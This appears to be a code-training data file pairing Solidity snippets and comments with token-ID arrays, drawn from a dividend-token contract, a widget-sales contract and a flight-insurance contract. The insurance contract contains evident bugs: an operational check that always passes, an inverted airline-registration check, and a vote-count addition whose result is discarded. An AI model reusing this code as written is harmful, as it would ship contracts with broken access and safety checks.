(tokenSupply_)); // calculate the amount of tokens the customer receives over his purchase _fee = _fee - (_fee-(_amountOfTokens * (_dividends * magnitude / (tokenSupply_)))); } else { // add tokens to the pool tokenSupply_ = _amountOfTokens; } // update circulating supply & the ledger address for the customer tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens); // Tells the contract that the buyer doesn't deserve dividends for the tokens before they owned them; //really i know you think you do but you don't int256 _updatedPayouts = (int256) ((profitPerShare_ * _amountOfTokens) - _fee); payoutsTo_[_customerAddress] += _updatedPayouts; alreadyBought[_customerAddress] = true; // fire event emit onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy); return _amountOfTokens; } /** * Calculate Token price based on an amount of incoming ethereum * It's an algorithm, hopefully we gave you the whitepaper with it in scientific notation; * Some conversions occurred to prevent decimal errors or underflows / overflows in solidity code. */ function ethereumToTokens_(uint256 _ethereum) internal view returns(uint256) { uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18; uint256 _tokensReceived = ( ( // underflow attempts BTFO SafeMath.sub( (sqrt ( (_tokenPriceInitial**2) + (2*(tokenPriceIncremental_ * 1e18)*(_ethereum * 1e18)) + (((tokenPriceIncremental_)**2)*(tokenSupply_**2)) + (2*(tokenPriceIncremental_)*_tokenPriceInitial*tokenSupply_) ) ), _tokenPriceInitial ) )/(tokenPriceIncremental_) )-(tokenSupply_) ; return _tokensReceived; } /** * Calculate token sell value. * It's an algorithm, hopefully we gave you the whitepaper with it in scientific notation; * Some conversions occurred to prevent decimal errors or underflows / overflows in solidity code. */ function tokensToEthereum_(uint256 _tokens) internal view returns(uint256) { uint256 tokens_ = (_tokens + 1e18); uint256 _tokenSupply = (tokenSupply_ + 1e18); uint256 _etherReceived = ( // underflow attempts BTFO SafeMath.sub( ( ( ( tokenPriceInitial_ +(tokenPriceIncremental_ * (_tokenSupply/1e18)) )-tokenPriceIncremental_ )*(tokens_ - 1e18) ),(tokenPriceIncremental_*((tokens_**2-tokens_)/1e18))/2 ) /1e18); return _etherReceived; } //This is where all your gas goes, sorry //Not sorry, you probably only paid 1 gwei function sqrt(uint x) internal pure returns (uint y) { uint z = (x + 1) / 2; y = x; while (z < y) { y = z; z = (x / z + z) / 2; } } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } }
check if the transaction is over 2ether and limit is active
if(limit && msg.value > 2 ether && msg.sender != owner) {
10,206,932
[ 1, 1893, 309, 326, 2492, 353, 1879, 576, 2437, 471, 1800, 353, 2695, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 309, 12, 3595, 597, 1234, 18, 1132, 405, 576, 225, 2437, 597, 1234, 18, 15330, 480, 3410, 13, 288, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.24; import 'openzeppelin-solidity/contracts/math/SafeMath.sol'; import './SafeMath32.sol'; /// @title Contract to manage and sell widgets for Acme Widget Company /// @author Nathalie C. Chan King Choy contract AcmeWidgetCo { using SafeMath for uint256; using SafeMath32 for uint32; //=========================================== // Struct definitions //=========================================== // The information about a single widget struct WidgetData { uint32 serialNumber; uint8 factoryMadeAt; uint8 siteTestedAt; uint32 testResults; // bit == 1 => that test passed, 0 => test failed // e.g. testResults == 0xFFFFFFFF means all 32 tests passed // e.g. testResults == 0xFFFF0000 means only the first 16 tests passed } // Assumption: Customer will buy >1 widget in an order. // The information for an order of widgets from a particular bin. // Widgets are sold in array index order // e.g. Customer buys 5 widgets. If [1] was the last widget sold in that // bin, then firstIndex is [2], lastIndex is [6] for this order. struct WidgetOrderFill { uint8 bin; // Indices into corresponding bin of widgets uint32 firstIndex; uint32 lastIndex; } //=========================================== // Contract variables //=========================================== // Circuit breaker bool public stopContract; // Lists of users by role mapping (address => uint8) public addr2Role; // Enum may seem appropriate, but you have to document the decoding anyway // because the enum isn't accessible in JavaScript, so skip using enum. // This is how to decode: // Admin = 1 // Tester = 2 // Sales Distributor = 3 // Customer = 4 // Assumption: During the life of this contract Acme won't ever reach >256 sites // Stores names of factories and test sites string[] public factoryList; string[] public testSiteList; uint8 public factoryCount; uint8 public testSiteCount; // Used to ensure we don't add a duplicate factory or test site // Uses the keccak256 hash of the string for the lookup // Store the index into the string array for that name mapping (bytes32 => uint8) public factoryMapping; mapping (bytes32 => uint8) public testSiteMapping; // Track the widgets. Map the serial number to position in widgetList // Assumption: We won't have more than 4 billion widgets // Bin0 is unsellable widgets (i.e. did not have the correct sets of // passing test results. So, not all 0 indices are populated b/c N/A. // Bin1 has most functionality, Bin2 a bit less, Bin3 even less WidgetData[] public widgetList; mapping (uint32 => uint32) public widgetSerialMapping; uint32 public widgetCount; uint32[4] public binMask; // What tests must pass to be in each bin. uint256[4] public binUnitPrice; // in wei uint32[] public bin1Widgets; // Array of indices into widgetList uint32[] public bin2Widgets; uint32[] public bin3Widgets; uint32[4] public binWidgetCount; // HACK: Because using uint instead of int, widget[0] never really gets sold // TODO: Deal with that later if time allows uint32[4] public lastWidgetSoldInBin; // Index of last sold in that bin mapping (address => WidgetOrderFill[]) public customerWidgetMapping; // Who owns each widget in widgetList //=========================================== // Events //=========================================== event NewAdmin(address indexed _newAdminRegistered); event NewTester(address indexed _newTesterRegistered); event NewSalesDistributor(address indexed _newSalesDistributorRegistered); event NewCustomer(address indexed _newCustomerRegistered); event NewFactory(uint8 indexed _factoryCount, string _factory); event NewTestSite(uint8 indexed _testSiteCount, string _testSite); event NewTestedWidget(uint32 indexed _serial, uint8 indexed _factory, uint8 _testSite, uint32 _results, uint32 _widgetCount, uint8 indexed _bin, uint32 _binCount); event NewUnitPrice(uint8 indexed _bin, uint256 _newPrice, address indexed _salesDistributor); event NewBinMask(uint8 indexed _bin, uint32 _newBinMask, address indexed _salesDistributor); event WidgetSale(uint8 indexed _bin, uint32 _quantity, address indexed _customer, uint256 _totalAmtPaid); event FundsWithdrawn(address indexed _withdrawer, uint256 _amt); //=========================================== // Modifiers //=========================================== modifier onlyAdmin { require( (addr2Role[msg.sender] == 1), "Only Admins can run this function." ); _; } modifier onlyTester { require( (addr2Role[msg.sender] == 2), "Only Testers can run this function." ); _; } modifier onlySalesDistributor { require( (addr2Role[msg.sender] == 3), "Only Sales Distributors can run this function." ); _; } modifier onlyCustomer { require( (addr2Role[msg.sender] == 4), "Only Customers can run this function." ); _; } // Circuit breaker modifier stopInEmergency { require(!stopContract, "Emergency: Contract is stopped."); _; } modifier onlyInEmergency { require(stopContract, "Not an emergency. This function is only for emergencies."); _; } //=========================================== // constructor //=========================================== /// @notice Set up initial conditions for the contract, on deployment constructor() public { // Circuit breaker stopContract = false; // The first admin is the deployer of the contract addr2Role[msg.sender] = 1; // These values can only be changed by Sales Distributors binUnitPrice[1] = 0.1 ether; binUnitPrice[2] = 0.05 ether; binUnitPrice[3] = 0.01 ether; binMask[1] = 0xFFFFFFFF; binMask[2] = 0xFFFF0000; binMask[3] = 0xFF000000; } // fallback function (if exists) //=========================================== // public //=========================================== //------------------------- // Admin functions //------------------------- /// @notice Circuit breaker enable - start emergency mode function beginEmergency() public onlyAdmin { stopContract = true; } /// @notice Circuit breaker disable - end emergency mode function endEmergency() public onlyAdmin { stopContract = false; } /// @notice Report contract balance for withdrawal possibility function getContractBalance() constant public onlyAdmin returns (uint) { return address(this).balance; } /// @notice Allow admin to withdraw funds from contract /// @dev TODO Create Finance role for that, if time allows /// @dev Using transfer protects against re-entrancy /// @param _amtToWithdraw How much to withdraw function withdrawFunds(uint256 _amtToWithdraw) public onlyAdmin { require(_amtToWithdraw <= address(this).balance, "Trying to withdraw more than contract balance."); msg.sender.transfer(_amtToWithdraw); emit FundsWithdrawn(msg.sender, _amtToWithdraw); } // Functions to add to user lists /// @notice Admin can add another admin /// @dev Admin has privileges for adding users, sites, or stopping contract /// @param _newAdmin is Ethereum address of the new admin function registerAdmin(address _newAdmin) public onlyAdmin { require(addr2Role[_newAdmin] == 0); addr2Role[_newAdmin] = 1; emit NewAdmin(_newAdmin); } /// @notice Admin can add another tester /// @dev Tester has privileges to record test results for widgets /// @param _newTester is Ethereum address of the new tester function registerTester(address _newTester) public onlyAdmin { require(addr2Role[_newTester] == 0); addr2Role[_newTester] = 2; emit NewTester(_newTester); } /// @notice Admin can add another sales distributor /// @dev Sales dist. has privileges to update bin masks and unit prices /// @param _newSalesDistributor is Ethereum address of the new sales dist. function registerSalesDistributor(address _newSalesDistributor) public onlyAdmin { require(addr2Role[_newSalesDistributor] == 0); addr2Role[_newSalesDistributor] = 3; emit NewSalesDistributor(_newSalesDistributor); } /// @notice Admin can add another customer /// @dev Customer has privileges to buy widgets /// @param _newCustomer is Ethereum address of the new customer function registerCustomer(address _newCustomer) public onlyAdmin { require(addr2Role[_newCustomer] == 0); addr2Role[_newCustomer] = 4; emit NewCustomer(_newCustomer); } /// @notice Admin can add another factory for tester to choose from /// @dev Won't be added if _factory is already in the list /// @param _factory is the name of the new factory. function addFactory(string _factory) public onlyAdmin { require(factoryCount < 255); // Prevent overflow require(factoryMapping[keccak256(abi.encodePacked(_factory))] == 0); factoryList.push(_factory); factoryMapping[keccak256(abi.encodePacked(_factory))] = factoryCount; factoryCount++; emit NewFactory(factoryCount, _factory); } /// @notice Admin can add another test site for tester to choose from /// @dev Won't be added if _testSite is already in the list /// @param _testSite is the name of the new test site. function addTestSite(string _testSite) public onlyAdmin { require(testSiteCount < 255); // Prevent overflow require(testSiteMapping[keccak256(abi.encodePacked(_testSite))] == 0); testSiteList.push(_testSite); testSiteMapping[keccak256(abi.encodePacked(_testSite))] = testSiteCount; testSiteCount++; emit NewTestSite(testSiteCount, _testSite); } //------------------------- // Tester functions //------------------------- /// @notice Tester records the factory where the widget was made, the site /// where it was tested, and the test results for a given widget serial # /// @dev Won't be added if serial # is already in the list /// @dev TODO: Generalize to N bins if time allows /// @dev TODO: Figure out 2-D arrays if time allows /// @param _serial is the serial number for the widget under test /// @param _factory is the factory where the widget was made /// @param _testSite is the site where the widget was tested /// @param _results is the bit mapping of what tests passed or failed /// bit == 1 => that test passed, 0 => test failed /// e.g. testResults == 0xFFFFFFFF means all 32 tests passed /// e.g. testResults == 0xFFFF0000 means only the first 16 tests passed function recordWidgetTests(uint32 _serial, uint8 _factory, uint8 _testSite, uint32 _results) public onlyTester { require(_factory < factoryCount); // Valid factory require(_testSite < testSiteCount); // Valid test site require(widgetSerialMapping[_serial] == 0); // Widget not already recorded uint8 bin; WidgetData memory w; w.serialNumber = _serial; w.factoryMadeAt = _factory; w.siteTestedAt = _testSite; w.testResults = _results; widgetList.push(w); widgetSerialMapping[_serial] = widgetCount; // Save index for serial # if ((_results & binMask[1]) == binMask[1]) { bin1Widgets.push(widgetCount); bin = 1; } else if ((_results & binMask[2]) == binMask[2]) { bin2Widgets.push(widgetCount); bin = 2; } else if ((_results & binMask[3]) == binMask[3]) { bin3Widgets.push(widgetCount); bin = 3; } else { // Widgets that don't match a bin are too low quality to sell bin = 0; } binWidgetCount[bin]++; widgetCount++; emit NewTestedWidget(_serial, _factory, _testSite, _results, widgetCount, bin, binWidgetCount[bin]); } //------------------------- // Sales distributor functions //------------------------- /// @notice Sales distributor can update the unit price of any of the bins /// @dev TODO: Later generalize to N bins, if time allows /// @param _bin is the bin whose price is getting updated /// @param _newPrice is the new price in wei function updateUnitPrice(uint8 _bin, uint256 _newPrice) public onlySalesDistributor { require((_bin > 0) && (_bin <=3), "Bin must be between 1 to 3, inclusive"); binUnitPrice[_bin] = _newPrice; emit NewUnitPrice(_bin, _newPrice, msg.sender); } /// @notice Sales distributor can update the mask of any of the bins /// @dev TODO: Later generalize to N bins, if time allows /// @dev Mask is how we know what bin a widget belongs in. Widget must have /// a 1 in its test result in all positions where mask is 1 to get into /// that particular bin /// @param _bin is the bin whose mask is getting updated /// @param _newMask is the new mask value (e.g. 0xFFFFFF00) function updateBinMask(uint8 _bin, uint32 _newMask) public onlySalesDistributor { require((_bin > 0) && (_bin <=3), "Bin must be between 1 to 3, inclusive"); binMask[_bin] = _newMask; emit NewBinMask(_bin, _newMask, msg.sender); } //------------------------- // Customer functions //------------------------- /// @notice Function for customer to buy widgets from a specific bin /// @dev This function is stopped by the circuit breaker /// @dev TODO: Later generalize to N bins, if time allows /// @dev TODO: Currently doesn't refund any excess if customer overpaid /// @dev TODO: Currently only way to withdraw funds is when killing the contract. /// @param _bin is the bin from which the customer wants to buy widgets /// @param _quantity is the number of widgets to buy function buyWidgets(uint8 _bin, uint32 _quantity) payable public onlyCustomer stopInEmergency { require(_quantity > 0, "Must purchase >0 widgets."); require((_bin > 0) && (_bin <=3), "Bin must be between 1 to 3, inclusive"); uint32 wCount = binWidgetCount[_bin]; uint32 lastSold = lastWidgetSoldInBin[_bin]; uint256 uPrice = binUnitPrice[_bin]; uint32 stock = wCount.sub(lastSold).sub(1); require((_quantity <= stock), "Insufficient stock. NOTE: widget[0] in each bin is not for sale."); require((uint256(_quantity).mul(uPrice) <= msg.value), "Insufficient funds."); WidgetOrderFill memory w; w.bin = _bin; w.firstIndex = lastSold.add(1); w.lastIndex = lastSold.add(_quantity); customerWidgetMapping[msg.sender].push(w); lastWidgetSoldInBin[_bin] = w.lastIndex; emit WidgetSale(_bin, _quantity, msg.sender, msg.value); } }
=========================================== constructor=========================================== @notice Set up initial conditions for the contract, on deployment Circuit breaker The first admin is the deployer of the contract These values can only be changed by Sales Distributors
constructor() public { stopContract = false; addr2Role[msg.sender] = 1; binUnitPrice[1] = 0.1 ether; binUnitPrice[2] = 0.05 ether; binUnitPrice[3] = 0.01 ether; binMask[1] = 0xFFFFFFFF; binMask[2] = 0xFFFF0000; binMask[3] = 0xFF000000; }
12,642,317
[ 1, 4428, 1432, 12275, 3885, 4428, 1432, 12275, 225, 1000, 731, 2172, 4636, 364, 326, 6835, 16, 603, 6314, 20797, 898, 264, 1021, 1122, 3981, 353, 326, 7286, 264, 434, 326, 6835, 8646, 924, 848, 1338, 506, 3550, 635, 25996, 3035, 665, 13595, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 3885, 1435, 1071, 288, 203, 3639, 2132, 8924, 273, 629, 31, 203, 203, 3639, 3091, 22, 2996, 63, 3576, 18, 15330, 65, 273, 404, 31, 203, 203, 3639, 4158, 2802, 5147, 63, 21, 65, 273, 374, 18, 21, 225, 2437, 31, 203, 3639, 4158, 2802, 5147, 63, 22, 65, 273, 374, 18, 6260, 225, 2437, 31, 203, 3639, 4158, 2802, 5147, 63, 23, 65, 273, 374, 18, 1611, 225, 2437, 31, 203, 3639, 4158, 5796, 63, 21, 65, 273, 374, 28949, 31, 203, 3639, 4158, 5796, 63, 22, 65, 273, 374, 21718, 2787, 31, 203, 3639, 4158, 5796, 63, 23, 65, 273, 374, 6356, 9449, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity >=0.4.25; // It's important to avoid vulnerabilities due to numeric overflow bugs // OpenZeppelin's SafeMath library, when used correctly, protects agains such bugs // More info: https://www.nccgroup.trust/us/about-us/newsroom-and-events/blog/2018/november/smart-contract-insecurity-bad-arithmetic/ import "../node_modules/openzeppelin-solidity/contracts/math/SafeMath.sol"; import "./FlightSuretyData.sol"; /************************************************** */ /* FlightSurety Smart Contract */ /************************************************** */ contract FlightSuretyApp { using SafeMath for uint256; // Allow SafeMath functions to be called for all uint256 types (similar to "prototype" in Javascript) /********************************************************************************************/ /* DATA VARIABLES */ /********************************************************************************************/ bool private operational = true; // Flight status codees uint8 private constant STATUS_CODE_UNKNOWN = 0; uint8 private constant STATUS_CODE_ON_TIME = 10; uint8 private constant STATUS_CODE_LATE_AIRLINE = 20; uint8 private constant STATUS_CODE_LATE_WEATHER = 30; uint8 private constant STATUS_CODE_LATE_TECHNICAL = 40; uint8 private constant STATUS_CODE_LATE_OTHER = 50; // Airline Variables: uint256 private constant AIRLINE_FEE = 10 ether; uint private constant AIRLINE_CONSENSUS = 4; uint256 private constant AIRLINE_CONSENSUS_FACTOR = 50; mapping (address => address[]) airlineVotes; // Inurance Variables: uint256 private constant MAX_INSURANCE = 1 ether; uint256 private constant PAYOUT_FACTOR = 150; address private contractOwner; // Account used to deploy contract // Flight Surety Data Contract: FlightSuretyData data; /********************************************************************************************/ /* FUNCTION MODIFIERS */ /********************************************************************************************/ // Modifiers help avoid duplication of code. They are typically used to validate something // before a function is allowed to be executed. /** * @dev Modifier that requires the "operational" boolean variable to be "true" * This is used on all state changing functions to pause the contract in * the event there is an issue that needs to be fixed */ modifier requireIsOperational() { // Modify to call data contract's status require(true, "Contract is currently not operational"); _; // All modifiers require an "_" which indicates where the function body will be added } /** * @dev Modifier that requires the "ContractOwner" account to be the function caller */ modifier requireContractOwner() { require(msg.sender == contractOwner, "Caller is not contract owner"); _; } modifier requireContractHasFunds(uint256 value) { require(address(this).balance >= value, "Contract does not have enough funds to pay out insurance costs"); _; } modifier requireAirlineNotRegistered(address _address) { bool isRegistered; ( , isRegistered, ) = data.getAirline(msg.sender); require(isRegistered, "Provided airline is already registered"); _; } modifier requireAirlineRegistered(address _address) { bool isRegistered; ( , isRegistered, ) = data.getAirline(msg.sender); require(isRegistered, "Provided airline is not registered"); _; } modifier requireAirlineFeePaid() { bool hasPaidFee; ( , , hasPaidFee) = data.getAirline(msg.sender); require(hasPaidFee, "Provided airline has not paid fee"); _; } modifier requireHasNotVoted(address _address) { bool hasVoted; for (uint i = 0; i < airlineVotes[_address].length; i++) { if (airlineVotes[_address][i] == msg.sender) { hasVoted = true; break; } } require(!hasVoted, "Cannot vote for the same airline twice"); _; } modifier requireFee(uint256 fee) { require(msg.value >= fee, "Fee must be met in order to continue"); _; } modifier requireFlightRegistered(bytes32 flight) { bool isRegistered; (isRegistered, , , , ) = data.getFlight(flight); require(isRegistered, "Flight is not registered"); _; } modifier requireFlightNotRegistered(bytes32 flight) { bool isRegistered = true; (isRegistered, , , , ) = data.getFlight(flight); require(!isRegistered, "Flight is already registered"); _; } modifier requireLessThanMaxInsurance(bytes32 flight, uint256 max) { uint256 value; ( , value, , ) = data.getInsurance(msg.sender, flight); value = value.add(msg.value); require(value <= max, "Investment greater than maximum value"); _; } modifier requireCreditFunds(uint256 value) { uint256 insuranceBalance = data.getInsuranceBalance(msg.sender); require(value <= insuranceBalance, "Invalid funds"); _; } modifier requireStatusCodeChange(bytes32 flight, uint8 statusCode) { uint8 currentStatus; ( , , , , currentStatus) = data.getFlight(flight); require(statusCode != currentStatus, "Flight status code has not been updated"); _; } modifier requireStatusUnknown(bytes32 flight) { uint8 statusCode; ( , , , , statusCode) = data.getFlight(flight); require(statusCode == STATUS_CODE_UNKNOWN, "Flight status code must be unknown"); _; } modifier requireInsuranceFee() { require(msg.value > 0, "Insurance must be greater than 0"); _; } /********************************************************************************************/ /* EVENTS */ /********************************************************************************************/ // Airline Events: event AirlineRegistered(address indexed _address, uint256 votes); // Flight Events: event FlightRegistered(bytes32 flight, uint256 timestamp); /********************************************************************************************/ /* CONSTRUCTOR */ /********************************************************************************************/ /** * @dev Contract constructor * */ constructor(address dataAddress) public { contractOwner = msg.sender; // Get data from data contract: data = FlightSuretyData(dataAddress); } /********************************************************************************************/ /* UTILITY FUNCTIONS */ /********************************************************************************************/ function isOperational() public view returns(bool) { return operational; // Modify to call data contract's status } function setOperationalStatus(bool mode) external requireContractOwner { operational = mode; } /********************************************************************************************/ /* SMART CONTRACT FUNCTIONS */ /********************************************************************************************/ /** * @dev Add an airline to the registration queue * */ function registerAirline(address _address, bytes32 name) external requireIsOperational requireAirlineNotRegistered(_address) requireAirlineRegistered(msg.sender) requireAirlineFeePaid returns(bool success, uint256 votes) { // Get the total number of airlines: uint256 airlineCount = data.getAirlineCount(); // Check if it is greater than the consensus variable: if(airlineCount >= AIRLINE_CONSENSUS) { // Cast vote: _voteForAirline(_address); // Get total number of votes: uint256 voteCount = airlineVotes[_address].length; // Check if concensus reached: if (_hasEnoughVotes(airlineCount, voteCount)) { _registerAirline(_address, name, voteCount); return (true, voteCount); } else { return (false, voteCount); } } else { // Register the airline: _registerAirline(_address, name, 1); return (true, 1); } } function getAirlineVoteCount(address _address) external view returns(uint256) { return airlineVotes[_address].length; } function _registerAirline(address _address, bytes32 name, uint256 votes) internal { data.registerAirline(_address, name); emit AirlineRegistered(_address, votes); } function payAirlineFee() external payable requireIsOperational requireAirlineRegistered(msg.sender) requireFee(AIRLINE_FEE) { data.payAirlineFee(msg.sender, msg.value); } function _voteForAirline(address _address) internal requireIsOperational requireHasNotVoted(_address) { airlineVotes[_address].push(msg.sender); } function _hasEnoughVotes(uint256 airlineCount, uint256 voteCount) internal pure returns(bool) { // Get the number of required votes: uint256 neededVotes = airlineCount.mul(AIRLINE_CONSENSUS_FACTOR).div(100); if ((airlineCount % 2) == 1) { neededVotes.add(1); } return (voteCount >= neededVotes); } function getAirline(address _address) external view returns(bytes32, bool, bool) { return data.getAirline(_address); } function getRegisteredAirlines() external view returns(address[] memory) { return data.getRegisteredAirlines(); } /** * @dev Register a future flight for insuring. * */ function registerFlight(bytes32 flight, uint256 timestamp) external requireIsOperational requireAirlineRegistered(msg.sender) requireAirlineFeePaid requireFlightNotRegistered(flight) { // Create a flight in data contract: data.registerFlight(msg.sender, flight, timestamp, STATUS_CODE_UNKNOWN); emit FlightRegistered(flight, timestamp); } function getFlight(bytes32 flight) external view returns(bool, address, bytes32, uint256, uint8) { return data.getFlight(flight); } function getAllFlights() external view returns(bytes32[] memory) { return data.getAllFlights(); } /** * @dev Called after oracle has updated flight status * */ function processFlightStatus(address airline, bytes32 flight, uint256 timestamp, uint8 statusCode) internal requireStatusCodeChange(flight, statusCode) { // Get flight key: bytes32 flightKey = getFlightKey(airline, flight, timestamp); // Update flight status: data.updateFlightStatus(flightKey, statusCode); // Check to see if the flight is late: if (statusCode == STATUS_CODE_LATE_AIRLINE) { data.creditInsurees(flight, PAYOUT_FACTOR); } } // Generate a request for oracles to fetch flight information function fetchFlightStatus(address airline, bytes32 flight, uint256 timestamp) public { uint8 index = getRandomIndex(msg.sender); // Generate a unique key for storing the request bytes32 key = keccak256(abi.encodePacked(index, airline, flight, timestamp)); oracleResponses[key] = ResponseInfo({ requester: msg.sender, isOpen: true }); emit OracleRequest(index, airline, flight, timestamp); } function buy(bytes32 flight) external payable requireIsOperational requireInsuranceFee requireLessThanMaxInsurance(flight, MAX_INSURANCE) requireFlightRegistered(flight) requireStatusUnknown(flight) { // Transfer insurance: data.buy(msg.sender, msg.value, flight); } function withdraw(uint256 value) external requireIsOperational requireContractHasFunds(value) requireCreditFunds(value) { msg.sender.transfer(value); data.pay(msg.sender, value); } function getPassengerBalance() external view returns(uint256) { return data.getInsuranceBalance(msg.sender); } // region ORACLE MANAGEMENT // Incremented to add pseudo-randomness at various points uint8 private nonce = 0; // Fee to be paid when registering oracle uint256 public constant REGISTRATION_FEE = 1 ether; // Number of oracles that must respond for valid status uint256 private constant MIN_RESPONSES = 3; struct Oracle { bool isRegistered; uint8[3] indexes; } // Track all registered oracles mapping(address => Oracle) private oracles; // Model for responses from oracles struct ResponseInfo { address requester; // Account that requested status bool isOpen; // If open, oracle responses are accepted mapping(uint8 => address[]) responses; // Mapping key is the status code reported // This lets us group responses and identify // the response that majority of the oracles } // Track all oracle responses // Key = hash(index, flight, timestamp) mapping(bytes32 => ResponseInfo) private oracleResponses; // Event fired each time an oracle submits a response event FlightStatusInfo(address airline, bytes32 flight, uint256 timestamp, uint8 status); event OracleReport(address airline, bytes32 flight, uint256 timestamp, uint8 status); // Event fired when flight status request is submitted // Oracles track this and if they have a matching index // they fetch data and submit a response event OracleRequest(uint8 index, address airline, bytes32 